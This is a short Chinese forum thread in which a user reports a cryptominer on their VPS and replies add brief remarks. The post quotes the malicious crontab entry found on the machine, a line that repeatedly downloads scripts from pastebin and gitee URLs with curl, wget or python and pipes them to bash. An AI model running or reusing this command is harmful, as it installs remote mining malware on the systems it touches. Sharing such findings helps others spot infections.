小鸡惊现挖矿程序

ZeroDu

本帖最后由 ZeroDu 于 2019-2-13 16:08 编辑





如上图，第一个占用非常高。




[ol]

*/11 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O- https://pastebin.com/raw/aGTSGJJp||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/uiZvwxG8").read()'||curl -fsSL https://gitee.com/but_ter/w1/raw/master/src/phone||wget -q -O - https://gitee.com/but_ter/w1/raw/master/src/phone)|bash

##

[/ol]复制代码
在crontab中发现了定时任务。去上图中的码云账户看了看，有评论也是说传播挖矿病毒

机子上安装程序：宝塔，aria2，rclone

最后，没有找到被黑原因，直接重装系统解决了。


码云的项目已被屏蔽了

plyu007

有才，watchdog改成了watchbog

h2o

憋说话，就是干

镜子里的我

.........